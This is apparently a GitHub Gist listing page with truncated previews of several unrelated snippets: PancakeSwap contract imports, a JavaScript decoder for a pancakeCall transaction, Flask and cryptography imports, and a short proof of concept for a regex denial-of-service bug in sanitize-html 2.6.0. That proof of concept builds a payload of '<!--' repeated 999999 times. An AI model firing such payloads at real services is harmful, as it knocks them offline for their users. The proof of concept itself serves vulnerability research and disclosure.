This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.6.0; | |
| import './Libraries/SafeMath.sol'; | |
| import './Interfaces/IPancakeERC20.sol'; | |
| import './Interfaces/IPancakeFactory.sol'; | |
| import './Interfaces/IPancakePair.sol'; | |
| import './Interfaces/IPancakeRouter01.sol'; | |
| import './Libraries/PancakeLibrary.sol'; | |
| import './Interfaces/IBakerySwapRouter.sol'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const InputDataDecoder = require('ethereum-input-data-decoder') | |
| let abi = [{"inputs":[{"internalType":"address","name":"_sender","type":"address"},{"internalType":"uint256","name":"_amount0","type":"uint256"},{"internalType":"uint256","name":"_amount1","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"pancakeCall","outputs":[],"stateMutability":"nonpayable","type":"function"}] | |
| let data = "0x84800812000000000000000000000000cc598232a75fb1b361510bce4ca39d7bc39cf498000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000deb41b5d63a9bb93b4f4000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000" | |
| let decoder = new InputDataDecoder(abi) | |
| result = decoder.decodeData(data) | |
| // https://stackoverflow.com/questions/34309988/byte-array-to-hex-string-conversion-in-javascript | |
| function toHexString(byteArra |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const sanitizeHtml = require('sanitize-html'); // tested on sanitize-html 2.6.0 | |
| var payload = "<a href='http://youtube" + "<!--".repeat(999999) + ".com'>"; | |
| sanitizeHtml(payload) | |
| // console.log(sanitizeHtml(payload)); | |
| // href = "<a href='http://youtube" + "<!--".repeat(999999) + ".com'>"; | |
| // href = href.replace(/<!--.*?-->/g, ''); // this is a vulnerable line on naughtyHref(name, href) of index.js | |
| // console.log(href); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from flask import Flask, jsonify, request | |
| from pymemcache.client import base # brew install memcached && pip install pymemcache | |
| from cryptography import x509 | |
| from cryptography.hazmat.backends import default_backend | |
| from cryptography.hazmat.primitives import hashes, serialization | |
| from cryptography.hazmat.primitives.asymmetric import ec | |
| from cryptography.hazmat.primitives.kdf.hkdf import HKDF | |
| from cryptography.hazmat.primitives.ciphers.aead import AESGCM | |
| import ssl, sys, sqlite3, uuid, os, json |
OlderNewer